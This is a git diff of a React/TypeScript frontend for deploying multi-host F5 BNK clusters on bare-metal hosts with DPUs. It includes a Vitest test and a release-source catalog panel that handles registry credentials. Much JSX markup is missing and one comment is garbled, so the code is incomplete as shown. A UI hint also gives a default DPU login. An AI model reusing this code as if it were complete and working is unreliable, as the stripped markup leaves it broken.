BareMetalPanel({ projectId, isOwner }: BareMetalPanelProps) { const handleConfirmDeploy = useCallback(async () => { if (!deployPreview) return; try { - const deployment = await createDeployment.mutateAsync({ host_id: deployPreview.hostId }); + const deployment = await createDeployment.mutateAsync({ + host_id: deployPreview.hostId, + }); setActiveDeploymentId(deployment.id); setDeployPreview(null); notify.success('Deployment started', `Deployment #${deployment.id}`, { category: 'deployment' }); @@ -278,6 +321,91 @@ export function BareMetalPanel({ projectId, isOwner }: BareMetalPanelProps) { } }, [deployPreview, createDeployment]); + const handleMultiHostDeploy = useCallback(async (payload: MultiHostDeployPayload) => { + try { + if (payload.deploy_engine === 'blueprint' && payload.template_id) { + const cpHost = hosts?.find(h => h.id === (payload.control_plane_host_id ?? payload.host_id)); + const instanceName = `Multi-Host Cluster (${cpHost?.name || 'CP'})`; + + // Store variables in the SAME module-path-keyed nested shape that + // StackDetailDialog uses. The backend keys per-module variables by path + // (StackDeploymentService._build_stack_module_variables) and + // _stamp_host_release only finds bare_metal_host_id inside a nested + // dict — a flat object would break release stamping. Object/array + // values are JSON-stringified so they survive as strings, not raw + // values, when the flattener persists project-level defaults. + const flatVars: Record = { + bare_metal_host_id: String(payload.host_id ?? payload.control_plane_host_id ?? ''), + control_plane_host_id: payload.control_plane_host_id ?? null, + worker_host_ids: payload.worker_host_ids ?? [], + dpu_selections: payload.blueprint_dpu_selections ?? {}, + tmfifo_pool_cidr: payload.blueprint_tmfifo_pool_cidr ?? null, + topology: payload.blueprint_topology ?? null, + }; + const template = payload.template_slug + ? await stacksApi.fetchStackTemplate(payload.template_slug) + : null; + const bareMetalModulePaths = (template?.modules || []) + .filter((m: { path: string }) => m.path.startsWith('bare-metal/')) + .map((m: { path: string }) => m.path); + + // Guard: a template with no bare-metal/ modules produces an empty + // variables dict — creating the instance would silently discard every + // worker/DPU/CIDR selection (ADR-424 finding E). + if (bareMetalModulePaths.length === 0 || !payload.template_slug) { + notify.error( + 'Template has no bare-metal modules', + 'The selected template contains no bare-metal/ modules. Select a template that includes BNK bare-metal modules, or use the Orchestrator engine.', + { category: 'deployment' } + ); + return; + } + + const variables: Record> = {}; + for (const modPath of bareMetalModulePaths) { + variables[modPath] = {}; + for (const [k, v] of Object.entries(flatVars)) { + variables[modPath][k] = + typeof v === 'object' && v !== null ? JSON.stringify(v) : String(v ?? ''); + } + } + const instance = await stacksApi.createStackInstance(projectId, { + template_id: payload.template_id, + name: instanceName, + variables, + }); + queryClient.invalidateQueries({ queryKey: queryKeys.stacks.instances.byProject(projectId) }); + setShowMultiHostModal(false); + notify.success( + 'Blueprint Stack Instance created', + `Added "${instanceName}" (#${instance.id}) to project. Navigating to Blueprints / Modules tab to review inputs…`, + { category: 'deployment' } + ); + // Navigate to modules/blueprints tab so user can see and review the stack instance + navigate(`/projects/${projectId}?tab=modules`); + } else { + // Orchestrator path: worker_host_ids is not forwarded — the conflict check + // (widened to host_id + worker_host_ids in ADR-424) would block the deploy if any + // unrelated host is busy, and nothing on this path consumes worker selections. + const deployment = await createDeployment.mutateAsync({ + host_id: payload.host_id, + control_plane_host_id: payload.control_plane_host_id, + resume_from_step: payload.resume_from_step, + skip_discovery: payload.skip_discovery, + selected_phases: payload.selected_phases, + selected_steps: payload.selected_steps, + deployable_release_id: payload.deployable_release_id, + }); + setActiveDeploymentId(deployment.id); + setShowMultiHostModal(false); + notify.success('Multi-host deployment started', `Deployment #${deployment.id}`, { category: 'deployment' }); + } + } catch (err) { + notifyError(err, 'Failed to create multi-host blueprint stack'); + throw err; + } + }, [createDeployment, projectId, hosts, queryClient, navigate]); + // If previewing a deployment plan, show confirmation if (deployPreview) { const { plan, hostId } = deployPreview; @@ -414,12 +542,58 @@ export function BareMetalPanel({ projectId, isOwner }: BareMetalPanelProps) {

    {isOwner && ( - +
    + + +
    )} + {/* Multi-Host Deployment Modal */} + {showMultiHostModal && hosts && hosts.length > 0 && ( + setShowMultiHostModal(false)} + hosts={hosts} + projectId={projectId} + onStartDeployment={handleMultiHostDeploy} + onPreviewInBlueprintDialog={handlePreviewInBlueprintDialog} + isPending={createDeployment.isPending} + /> + )} + + {/* Blueprint Stack Detail Dialog for Previewing & Customizing */} + {previewSlug && ( + { + if (!open) { + setPreviewSlug(null); + setPreviewVariables(null); + } + }} + initialProjectId={projectId} + initialVariables={previewVariables || undefined} + onSuccess={() => { + setPreviewSlug(null); + setPreviewVariables(null); + navigate(`/projects/${projectId}?tab=modules`); + }} + /> + )} + {/* Add Host Form */} {showAddForm && ( @@ -736,60 +910,112 @@ export function BareMetalPanel({ projectId, isOwner }: BareMetalPanelProps) { {/* Section 4: DPU Access */}
    -
    - - DPU Access - (rshim SSH — default BFB: ubuntu / password) -
    -
    -
    - - setDpuCred(prev => ({ ...prev, username: e.target.value }))} - placeholder="ubuntu" - className="h-9" - /> +
    +
    + + DPU Access + (rshim SSH — default BFB: ubuntu / password)
    -
    - - setDpuCred(prev => ({ ...prev, password: e.target.value }))} - placeholder="password" - className="h-9" - /> -
    -
    - - setNewHost(prev => ({ ...prev, dpu_mgmt_ip: e.target.value }))} - placeholder="192.168.100.2" - className="h-9" - /> + {dpuCredMode === 'new' && ( + + )} +
    + + {dpuCredMode === 'existing' ? ( +
    +
    + + +
    +
    + + setNewHost(prev => ({ ...prev, dpu_mgmt_ip: e.target.value }))} + placeholder="192.168.100.2" + className="h-9" + /> +
    -
    - - + ) : ( +
    +
    + + setDpuCred(prev => ({ ...prev, username: e.target.value }))} + placeholder="ubuntu" + className="h-9" + /> +
    +
    + + setDpuCred(prev => ({ ...prev, password: e.target.value }))} + placeholder="password" + className="h-9" + /> +
    +
    + + setNewHost(prev => ({ ...prev, dpu_mgmt_ip: e.target.value }))} + placeholder="192.168.100.2" + className="h-9" + /> +
    +
    + + +
    -
    + )}
    - {/* BNK Version Profile */} + {/* BNK Release hint — pre-selects this release in the deploy dialog */}
    - +
    @@ -867,6 +1093,7 @@ export function BareMetalPanel({ projectId, isOwner }: BareMetalPanelProps) { )} )} +
    ); } @@ -938,11 +1165,11 @@ function HostRow({ isSelected, onSelect, onDiscover, - onDeploy: _onDeploy, + onDeploy, onDelete, isOwner, isDiscovering, - isLoadingPreview: _isLoadingPreview, + isLoadingPreview, sshCredentials, projectSshCredentialId, discoveryResult, @@ -1049,17 +1276,16 @@ function HostRow({ {(host.last_discovery_status !== null && host.last_discovery_status !== 'completed' && host.last_discovery_status !== 'failed') ? 'Discovering…' : 'Run Discovery'} - {host.topology && ( - - )} +
    +
    + )} +
    + ); +} + + // ============================================================================ // Discovery Results — assessment checks with pass/warn/fail // ============================================================================ @@ -1971,6 +2275,383 @@ function StepRow({ } +// ============================================================================ +// MultiHostDeployModal — Realize multi-host cluster deployment +// ============================================================================ + +interface MultiHostDeployModalProps { + isOpen: boolean; + onClose: () => void; + hosts: BareMetalHost[]; + projectId: number; + onStartDeployment: (payload: MultiHostDeployPayload) => Promise; + onPreviewInBlueprintDialog: (templateSlug: string, variables: Record) => void; + isPending: boolean; +} + +export function MultiHostDeployModal({ + isOpen, + onClose, + hosts, + onStartDeployment, + onPreviewInBlueprintDialog, + isPending, +}: MultiHostDeployModalProps) { + const [deployEngine, setDeployEngine] = useState<'blueprint' | 'orchestrator'>('blueprint'); + const [selectedTemplateId, setSelectedTemplateId] = useState(null); + const [controlPlaneHostId, setControlPlaneHostId] = useState( + hosts.length > 0 ? hosts[0].id : null + ); + const [workerHostIds, setWorkerHostIds] = useState( + hosts.map(h => h.id) + ); + const [selectedDpus, setSelectedDpus] = useState>({}); + const [tmfifoPoolCidr, setTmfifoPoolCidr] = useState('192.168.100.0/22'); + + const [isSubmitting, setIsSubmitting] = useState(false); + const [submitError, setSubmitError] = useState(null); + + const { data: templates } = useQuery({ + queryKey: ['stackTemplates', 'bare-metal'], + queryFn: () => stacksApi.fetchStackTemplates({ category: 'bare-metal' }), + enabled: isOpen, + }); + + const bareMetalTemplates = useMemo(() => { + if (!templates) return []; + return templates.filter(t => t.is_active); + }, [templates]); + + useEffect(() => { + if (bareMetalTemplates.length > 0 && !selectedTemplateId) { + const preferred = bareMetalTemplates.find(t => t.slug === 'bnk-bare-metal-full-poc-ssh') || bareMetalTemplates[0]; + setSelectedTemplateId(preferred.id); + } + }, [bareMetalTemplates, selectedTemplateId]); + + // Keep selectedDpus in sync with checked worker hosts. The single-DPU host + // branch renders a static span (no onChange), and an untouched multi-DPU + // displays) and prune hosts that are + // unchecked or have no DPU. + useEffect(() => { + setSelectedDpus(prev => { + const next: Record = { ...prev }; + let changed = false; + for (const h of hosts) { + const dpuList = h.dpu_info || []; + const checked = workerHostIds.includes(h.id); + if (checked && dpuList.length > 0 && !next[h.id]) { + next[h.id] = String(dpuList[0]?.pci_address || 'rshim0'); + changed = true; + } + } + for (const key of Object.keys(next)) { + const id = Number(key); + const h = hosts.find(hh => hh.id === id); + // Preserve the CP host's DPU selection even when it's not in workerHostIds + // — handleSubmit/assign_members re-add the CP host to host_ids regardless, + // so pruning its DPU selection here would silently drop it (ADR-424 minor). + const isCp = id === controlPlaneHostId; + if (!h || (!workerHostIds.includes(id) && !isCp) || (h.dpu_info || []).length === 0) { + delete next[id]; + changed = true; + } + } + return changed ? next : prev; + }); + }, [hosts, workerHostIds, controlPlaneHostId]); + + const derivedTopology = useMemo(() => { + const cpHost = hosts.find(h => h.id === controlPlaneHostId); + if (cpHost?.topology) return cpHost.topology; + const hasBf3 = hosts.some(h => + (h.dpu_info || []).some(d => { + const model = String(d.model || '').toLowerCase(); + return model.includes('bluefield-3') || model.includes('bf3'); + }) + ); + return hasBf3 ? 'bf3' : 'regular'; + }, [hosts, controlPlaneHostId]); + + if (!isOpen) return null; + + const handleToggleWorker = (hostId: number) => { + setWorkerHostIds(prev => + prev.includes(hostId) ? prev.filter(id => id !== hostId) : [...prev, hostId] + ); + }; + + const handleSelectDpu = (hostId: number, dpuPci: string) => { + setSelectedDpus(prev => ({ ...prev, [hostId]: dpuPci })); + }; + + const handleSubmit = async () => { + if (!controlPlaneHostId) return; + setIsSubmitting(true); + setSubmitError(null); + try { + const selectedTemplate = bareMetalTemplates.find(t => t.id === selectedTemplateId); + await onStartDeployment({ + host_id: controlPlaneHostId, + control_plane_host_id: controlPlaneHostId, + worker_host_ids: workerHostIds, + blueprint_dpu_selections: selectedDpus, + blueprint_tmfifo_pool_cidr: tmfifoPoolCidr, + blueprint_topology: derivedTopology, + deploy_engine: deployEngine, + template_id: selectedTemplateId || undefined, + template_slug: selectedTemplate?.slug, + }); + } catch (err) { + const msg = err instanceof Error ? err.message : 'Failed to create multi-host deployment'; + setSubmitError(msg); + } finally { + setIsSubmitting(false); + } + }; + + const isBusy = isPending || isSubmitting; + + return ( +
    + +
    +
    +

    + + Deploy Multi-Host Cluster (F5 BNK) +

    +

    + Select control plane & worker hosts (regular hosts and DPU hosts) to realize cluster deployment. +

    +
    + +
    + + {submitError && ( +
    + + {submitError} +
    + )} + + {/* Engine Selection: Blueprint Stack Engine vs Orchestrator */} +
    +
    + Deployment Engine +
    + + +
    +
    + + {deployEngine === 'blueprint' && ( +
    + + +
    + )} + {deployEngine === 'orchestrator' && ( +

    + Phase 1: only the selected control-plane host is deployed. Worker/DPU + selections are not persisted in this path — use the Blueprint engine to record + them on the stack (ADR-424). +

    + )} +
    + + {/* Derived Topology Banner */} +
    +
    + Blueprint & Topology + + Derived Topology: {derivedTopology.toUpperCase()} + +
    +

    + Unified SSH Deployment Pipeline — auto-derives rshim & network properties from host discovery data. +

    +
    + + {/* Control Plane Host Selection */} +
    + + +
    + + {/* Worker Hosts & DPU Selection */} +
    + +
    + {hosts.map(h => { + const isChecked = workerHostIds.includes(h.id); + const isCp = h.id === controlPlaneHostId; + const dpuList = h.dpu_info || []; + const hasDpu = dpuList.length > 0; + return ( +
    +
    + + + {hasDpu ? `${dpuList.length} DPU${dpuList.length !== 1 ? 's' : ''} detected` : 'Regular Host (No DPU)'} + +
    + + {/* DPU selection if host has DPUs */} + {isChecked && hasDpu && ( +
    + + {dpuList.length === 1 ? ( + + DPU #0 ({String(dpuList[0]?.pci_address || 'rshim0')}) — {String(dpuList[0]?.model || 'BlueField')} + + ) : ( + + )} +
    + )} +
    + ); + })} + {hosts.length === 0 && ( +

    + No hosts in inventory. Register hosts to deploy a cluster. +

    + )} +
    +
    + + {/* Network & IPAM CIDR */} +
    + + setTmfifoPoolCidr(e.target.value)} + placeholder="192.168.100.0/22" + className="h-9 font-mono text-sm" + /> +

    + Point-to-point tmfifo interface pool allocated across member hosts & DPUs. +

    +
    + + {/* Actions */} +
    + +
    + + +
    +
    +
    +
    + ); +} + + // ============================================================================ // Shared helpers // ============================================================================ diff --git a/frontend-v2/src/components/bare-metal/__tests__/MultiHostDeployModal.test.tsx b/frontend-v2/src/components/bare-metal/__tests__/MultiHostDeployModal.test.tsx new file mode 100644 index 00000000..af15e896 --- /dev/null +++ b/frontend-v2/src/components/bare-metal/__tests__/MultiHostDeployModal.test.tsx @@ -0,0 +1,132 @@ +import { describe, expect, it, vi } from 'vitest'; +import userEvent from '@testing-library/user-event'; +import { render, screen, waitFor } from '@/test/test-utils'; +import { MultiHostDeployModal } from '../BareMetalPanel'; +import type { BareMetalHost } from '@/types'; + +const mockHosts: (BareMetalHost & { dpu_info?: Record[] })[] = [ + { + id: 101, + name: 'host-01.lab', + ip_address: '10.10.10.1', + ssh_port: 22, + status: 'online', + topology: 'multi-host', + dpus: [ + { + id: 1, + name: 'dpu-01', + serial_number: 'SN1234', + pci_address: '0000:03:00.0', + mac_address: '00:11:22:33:44:55', + status: 'ready', + }, + ], + dpu_info: [{ pci_address: '0000:03:00.0', model: 'BlueField-2' }], + created_at: '2026-01-01T00:00:00Z', + updated_at: '2026-01-01T00:00:00Z', + }, + { + id: 102, + name: 'host-02.lab', + ip_address: '10.10.10.2', + ssh_port: 22, + status: 'online', + topology: 'multi-host', + dpus: [ + { + id: 2, + name: 'dpu-02', + serial_number: 'SN5678', + pci_address: '0000:04:00.0', + mac_address: '00:11:22:33:44:56', + status: 'ready', + }, + ], + dpu_info: [{ pci_address: '0000:04:00.0', model: 'BlueField-2' }], + created_at: '2026-01-01T00:00:00Z', + updated_at: '2026-01-01T00:00:00Z', + }, +]; + +describe('MultiHostDeployModal', () => { + it('renders modal with host list and DPU selections', () => { + render( + + ); + + expect(screen.getByText('Deploy Multi-Host Cluster (F5 BNK)')).toBeInTheDocument(); + expect(screen.getByText('1. Control Plane Host *')).toBeInTheDocument(); + expect(screen.getByText('Blueprint Stack Engine')).toBeInTheDocument(); + }); + + it('triggers Preview & Configure Blueprint with correct multi-host payload', async () => { + const user = userEvent.setup(); + const handleStartDeployment = vi.fn().mockResolvedValue(undefined); + const handlePreviewInBlueprintDialog = vi.fn(); + + render( + + ); + + // Select Blueprint Stack Engine + const blueprintBtn = screen.getByRole('button', { name: /Blueprint Stack Engine/i }); + await user.click(blueprintBtn); + + // Click "Preview & Configure Blueprint" + const previewBtn = screen.getByRole('button', { name: /Preview & Configure Blueprint/i }); + expect(previewBtn).toBeInTheDocument(); + await user.click(previewBtn); + + await waitFor(() => { + expect(handlePreviewInBlueprintDialog).toHaveBeenCalledTimes(1); + }); + + const [slug, variables] = handlePreviewInBlueprintDialog.mock.calls[0]; + expect(slug).toBeDefined(); + expect(variables.control_plane_host_id).toBe(101); + expect(variables.topology).toBe('multi-host'); + }); + + it('records single-DPU host selections in dpu_selections (gap #5)', async () => { + // Both mock hosts have exactly ONE DPU (the common case). Previously the + // single-DPU branch rendered a static span and never recorded the + // selection, dropping these hosts from dpu_selections. The seeding effect + // must populate them for every checked DPU host. + const user = userEvent.setup(); + const handleStartDeployment = vi.fn().mockResolvedValue(undefined); + + render( + + ); + + const submitBtn = screen.getByRole('button', { name: /Save Draft & View in Blueprints/i }); + await user.click(submitBtn); + + await waitFor(() => { + expect(handleStartDeployment).toHaveBeenCalledTimes(1); + }); + + const payload = handleStartDeployment.mock.calls[0][0]; + expect(payload.blueprint_dpu_selections[101]).toBe('0000:03:00.0'); + expect(payload.blueprint_dpu_selections[102]).toBe('0000:04:00.0'); + }); +}); diff --git a/frontend-v2/src/components/catalog/BnkReleasesPanel.tsx b/frontend-v2/src/components/catalog/BnkReleasesPanel.tsx new file mode 100644 index 00000000..dae4abd7 --- /dev/null +++ b/frontend-v2/src/components/catalog/BnkReleasesPanel.tsx @@ -0,0 +1,1004 @@ +/** + * BNK Releases Catalog tab — ADR-494 Phase A. + * + * Two sections: + * 1. Release Sources — where the Catalog syncs BNK releases from. + * 2. BNK Release Catalog — deployable releases available to bare-metal hosts. + * (Admin controls relocated from BareMetalPanel.) + * + * Admin mutations (create/edit/delete/sync, activate/set-default) are gated on isAdmin. + */ +import { useState, useRef, useEffect } from 'react'; +import { + useReleaseSources, + useCreateReleaseSource, + useUpdateReleaseSource, + useDeleteReleaseSource, + useSyncReleaseSource, + useReleaseSourceTags, + usePullReleaseSourceTags, +} from '@/hooks/useReleaseSources'; +import { + useDeployableReleases, + useActivateDeployableRelease, + useSetDefaultDeployableRelease, +} from '@/hooks/useBareMetal'; +import { useRole } from '@/hooks/useRole'; +import { notify, notifyError } from '@/lib/notify'; +import type { ReleaseSource, ReleaseSourceCreate, ReleaseSourceUpdate, ReleaseSourceKind } from '@/lib/api/release-sources'; +import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card'; +import { Button } from '@/components/ui/button'; +import { Badge } from '@/components/ui/badge'; +import { Input } from '@/components/ui/input'; +import { Label } from '@/components/ui/label'; +import { Textarea } from '@/components/ui/textarea'; +import { Skeleton } from '@/components/ui/skeleton'; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from '@/components/ui/select'; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, +} from '@/components/ui/dialog'; +import { + AlertDialog, + AlertDialogAction, + AlertDialogCancel, + AlertDialogContent, + AlertDialogDescription, + AlertDialogFooter, + AlertDialogHeader, + AlertDialogTitle, +} from '@/components/ui/alert-dialog'; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from '@/components/ui/table'; +import { Box, Loader2, Pencil, Plus, RefreshCw, Trash2 } from 'lucide-react'; + +// ============================================================================ +// Helpers +// ============================================================================ + +function formatDate(iso: string | null): string { + if (!iso) return '—'; + return new Date(iso).toLocaleString(undefined, { dateStyle: 'short', timeStyle: 'short' }); +} + +function KindBadge({ kind }: { kind: string }) { + const variants: Record = { + oci: 'bg-info/10 text-info border-info/20', + mirror: 'bg-warning/10 text-warning border-warning/20', + manual: 'bg-muted text-muted-foreground', + }; + return ( + + {kind} + + ); +} + +function SyncStatusBadge({ status, error }: { status: string; error: string | null }) { + if (status === 'success') { + return ( + + synced + + ); + } + if (status === 'error') { + return ( + + error + + ); + } + if (status === 'syncing') { + return ( + + + syncing + + ); + } + return ( + + {status} + + ); +} + +// ============================================================================ +// Source form +// ============================================================================ + +interface SourceFormState { + name: string; + kind: ReleaseSourceKind; + url: string; + credential: string; + description: string; + is_active: boolean; +} + +const OCI_DEFAULT_URL = 'repo.f5.com'; + +const BLANK_FORM: SourceFormState = { + name: '', + kind: 'manual', + url: '', + credential: '', + description: '', + is_active: true, +}; + +function sourceToForm(s: ReleaseSource): SourceFormState { + return { + name: s.name, + kind: s.kind as ReleaseSourceKind, + url: s.url ?? '', + credential: '', + description: s.description ?? '', + is_active: s.is_active, + }; +} + +// ============================================================================ +// Source dialog (create / edit) +// ============================================================================ + +interface SourceDialogProps { + mode: 'create' | 'edit'; + source: ReleaseSource | null; + onClose: () => void; +} + +function SourceDialog({ mode, source, onClose }: SourceDialogProps) { + const [form, setForm] = useState( + mode === 'edit' && source ? sourceToForm(source) : BLANK_FORM, + ); + const [credHint, setCredHint] = useState(null); + const credFileInputRef = useRef(null); + const create = useCreateReleaseSource(); + const update = useUpdateReleaseSource(); + const isPending = create.isPending || update.isPending; + + const set = (k: K, v: SourceFormState[K]) => + setForm((prev) => ({ ...prev, [k]: v })); + + const handleCredentialFileSelect = (e: React.ChangeEvent) => { + const file = e.target.files?.[0]; + if (!file) return; + const reader = new FileReader(); + reader.onload = () => { + const text = reader.result as string; + let value: string; + let detected: string; + try { + JSON.parse(text); + // Valid JSON → treat as raw SA-key file; base64-encode (ASCII-safe) + value = btoa(text); + detected = 'detected: SA-key JSON → base64'; + } catch { + // Not JSON → already a base64 blob or token; store verbatim + value = text.trim(); + detected = 'stored as-is'; + } + set('credential', value); + setCredHint(`Loaded ${file.name} (${detected})`); + }; + reader.onerror = () => { + notify.error(`Failed to read file: ${file.name}`); + }; + reader.readAsText(file); + // Reset so the same file can be re-selected if needed + e.target.value = ''; + }; + + const handleSubmit = async () => { + if (!form.name.trim()) return; + try { + if (mode === 'create') { + const payload: ReleaseSourceCreate = { + name: form.name.trim(), + kind: form.kind, + url: form.kind === 'manual' ? null : (form.url.trim() || null), + credential: form.kind === 'manual' ? null : (form.credential || null), + description: form.description.trim() || null, + is_active: form.is_active, + auto_sync: false, + }; + await create.mutateAsync(payload); + notify.success('Release source created'); + } else if (source) { + const payload: ReleaseSourceUpdate = { + name: form.name.trim(), + kind: form.kind, + url: form.kind === 'manual' ? null : (form.url.trim() || null), + description: form.description.trim() || null, + is_active: form.is_active, + }; + // For manual kind, explicitly clear the credential on edit. + // For oci/mirror, only include the credential key when the user typed a + // new value — omitting it preserves the existing encrypted credential via + // the backend's model_dump(exclude_unset=True) path. + if (form.kind === 'manual') { + payload.credential = null; + } else if (form.credential) { + payload.credential = form.credential; + } + await update.mutateAsync({ id: source.id, payload }); + notify.success('Release source updated'); + } + onClose(); + } catch (err) { + notifyError(err); + } + }; + + return ( + { if (!open) onClose(); }}> + + + {mode === 'create' ? 'Add Release Source' : 'Edit Release Source'} + + A release source tells Forge where to sync BNK releases into the Catalog. + + + +
    +
    +
    + + set('name', e.target.value)} + placeholder="e.g. repo.f5.com / air-gap-mirror" + /> +
    + +
    + + +
    + + {form.kind !== 'manual' && ( +
    + + set('url', e.target.value)} + placeholder={form.kind === 'oci' ? 'repo.f5.com' : 'https://internal-mirror.example.com'} + /> +
    + )} + + {form.kind !== 'manual' && ( +
    +
    + + + +
    + { set('credential', e.target.value); setCredHint(null); }} + placeholder={form.kind === 'oci' ? 'base64 GCP SA key' : 'pull-secret or token'} + /> + {credHint && ( +

    {credHint}

    + )} +
    + )} + +
    + + set('description', e.target.value)} + placeholder="Optional notes" + /> +
    + +
    + set('is_active', e.target.checked)} + className="h-4 w-4" + /> + +
    +
    +
    + + + + + +
    +
    + ); +} + +// ============================================================================ +// Tag picker pane (used inside SyncDialog for oci/mirror sources) +// ============================================================================ + +interface TagPickerProps { + sourceId: number; + onAdd: (tags: string[]) => void; + isPending: boolean; +} + +function TagPicker({ sourceId, onAdd, isPending }: TagPickerProps) { + // Fetch is demand-driven: the query only activates when the user clicks + // "Fetch tags". This avoids a registry round-trip on dialog open. + const [enabled, setEnabled] = useState(false); + const [selected, setSelected] = useState>(new Set()); + const [manualTag, setManualTag] = useState(''); + + const { data, isFetching, refetch } = useReleaseSourceTags(enabled ? sourceId : null); + + const tagData = data?.tags ?? null; + const listError = data?.list_error ?? null; + // Only show the tag list after at least one successful fetch. + const fetched = enabled && data !== undefined; + + // Pre-select non-catalog, non-prerelease tags whenever a new fetch result + // arrives (data reference changes). Uses tagData as the dependency so the + // effect fires once per new server response, not on every render. + useEffect(() => { + if (!tagData) return; + const initial = new Set(); + for (const t of tagData) { + if (!t.in_catalog && !t.prerelease) { + initial.add(t.tag); + } + } + setSelected(initial); + }, [tagData]); + + const handleFetch = () => { + if (!enabled) { + setEnabled(true); + } else { + void refetch(); + } + }; + + const toggle = (tag: string, disabled: boolean) => { + if (disabled) return; + setSelected((prev) => { + const next = new Set(prev); + if (next.has(tag)) { + next.delete(tag); + } else { + next.add(tag); + } + return next; + }); + }; + + const handleAdd = () => { + const all = new Set(selected); + if (manualTag.trim()) { + all.add(manualTag.trim()); + } + onAdd([...all]); + setManualTag(''); + }; + + const canAdd = selected.size > 0 || manualTag.trim().length > 0; + + return ( +
    +
    + Available tags + +
    + + {listError && ( +

    + Listing failed: {listError} — use manual entry below. +

    + )} + + {fetched && tagData && tagData.length > 0 && ( +
    + {tagData.map((t) => ( + + ))} +
    + )} + + {fetched && tagData && tagData.length === 0 && !listError && ( +

    No tags found in the registry.

    + )} + + {/* Manual tag entry — always available as fallback */} +
    + +
    + setManualTag(e.target.value)} + placeholder="e.g. 2.3.1-3.2598.3-0.0.304" + className="text-xs font-mono h-8" + /> +
    +
    + + +
    + ); +} + +// ============================================================================ +// Sync dialog +// ============================================================================ + +interface SyncDialogProps { + source: ReleaseSource; + onClose: () => void; +} + +function SyncDialog({ source, onClose }: SyncDialogProps) { + const [yaml, setYaml] = useState(''); + const [pickedFileName, setPickedFileName] = useState(null); + const [pullSummary, setPullSummary] = useState(null); + const fileInputRef = useRef(null); + const sync = useSyncReleaseSource(); + const pullTags = usePullReleaseSourceTags(); + + const canLiveFetch = source.kind === 'oci' || source.kind === 'mirror'; + + const handleFileSelect = (e: React.ChangeEvent) => { + const file = e.target.files?.[0]; + if (!file) return; + const reader = new FileReader(); + reader.onload = () => { + setYaml(reader.result as string); + setPickedFileName(file.name); + }; + reader.onerror = () => { + notify.error(`Failed to read file: ${file.name}`); + }; + reader.readAsText(file); + // Reset so the same file can be re-selected if needed + e.target.value = ''; + }; + + const handleSync = async () => { + if (!yaml.trim()) return; + try { + const result = await sync.mutateAsync({ id: source.id, manifestYaml: yaml.trim() }); + const summary = Object.entries(result.sync_result) + .map(([k, v]) => `${v} ${k}`) + .join(', '); + notify.success(`Sync complete: ${summary || 'no changes'}`); + onClose(); + } catch (err) { + notifyError(err); + } + }; + + const handlePullTags = async (tags: string[]) => { + if (tags.length === 0) return; + try { + const result = await pullTags.mutateAsync({ id: source.id, tags }); + const parts: string[] = []; + if (result.added.length > 0) parts.push(`${result.added.length} added`); + if (result.skipped.length > 0) parts.push(`${result.skipped.length} already in Catalog`); + if (result.failed.length > 0) { + parts.push(`${result.failed.length} failed`); + } + const msg = parts.join(', ') || 'no changes'; + if (result.failed.length > 0) { + const reasons = result.failed.map((f) => `${f.tag}: ${f.reason}`).join('; '); + setPullSummary(`Done (${msg}). Failures: ${reasons}`); + } else { + setPullSummary(`Done: ${msg}`); + } + notify.success(`Pull complete: ${msg}`); + } catch (err) { + notifyError(err); + } + }; + + return ( + { if (!open) onClose(); }}> + + + Sync Release Source — {source.name} + + {canLiveFetch + ? 'Fetch available tags from the registry and add them to the Catalog.' + : 'Paste the BNK manifest YAML below. Forge will parse it and add any new releases to the Catalog.'} + + + +
    + {canLiveFetch ? ( +
    +

    Pull from registry

    + + {pullSummary && ( +

    + {pullSummary} +

    + )} +
    + ) : ( +
    +
    + + + {pickedFileName && ( + + {pickedFileName} + + )} + +
    +